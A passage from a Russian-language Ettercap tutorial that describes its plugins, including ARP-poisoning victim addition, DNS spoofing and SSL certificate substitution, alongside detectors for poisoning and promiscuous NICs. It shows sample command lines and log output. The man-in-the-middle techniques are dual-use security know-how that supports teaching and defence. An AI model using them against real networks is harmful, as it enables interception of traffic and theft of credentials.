192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] arp_cop: (WARNING) 192.168.1.35[08:00:27:AF:30:B9] pretends to be 192.168.1.1[24:76:7D:16:59:0B] .

7.2 autoadd

Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison

Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof

Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn

Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner

Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

ettercap -TQP scan_poisoner //

7.8 search_promisc

Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Пример удачного угадывания двух сетевых карт, находящихся в неразборчивом режиме:

Развернуть

root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.255.0 fe80::a00:27ff:feaf:30b9/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534. 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning. Scanning the whole netmask for 255 hosts. * |==================================================>| 100.00 % 5 hosts added to the hosts list. Starting Unified sniffing. Text only Interface activated. Hit 'h' for inline help Activating search_promisc plugin. search_promisc: Searching promisc NICs. Less probably sniffing NICs: - 192.168.1.36 - 192.168.1.34 Most probably sniffing NICs: - NONE Closing text interface. Terminating ettercap. Lua cleanup complete! Unified sniffing was stopped.

7.9 sslstrip

Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение

Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.

Связанные статьи:

  • Инструкция по использованию MITMf (72.9%)
  • Инструкция по использованию Router Scan by Stas’M. Часть третья: Применение фальшивого VPN (атака человек-посередине+обход HSTS) (66.7%)
  • Инструкция по использованию Bettercap (60.3%)
  • Новая версия bettercap 2.x: как установить и использовать в Kali Linux (60.3%)
  • Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами (55.9%)
  • Как в Kali Linux загрузиться без графического интерфейса (RANDOM — 0.2%)

факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок. По итогам обучения выдаётся свидетельство установленного образца и сертификат. По этой ссылке специальная скидка на любые факультеты и курсы!

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *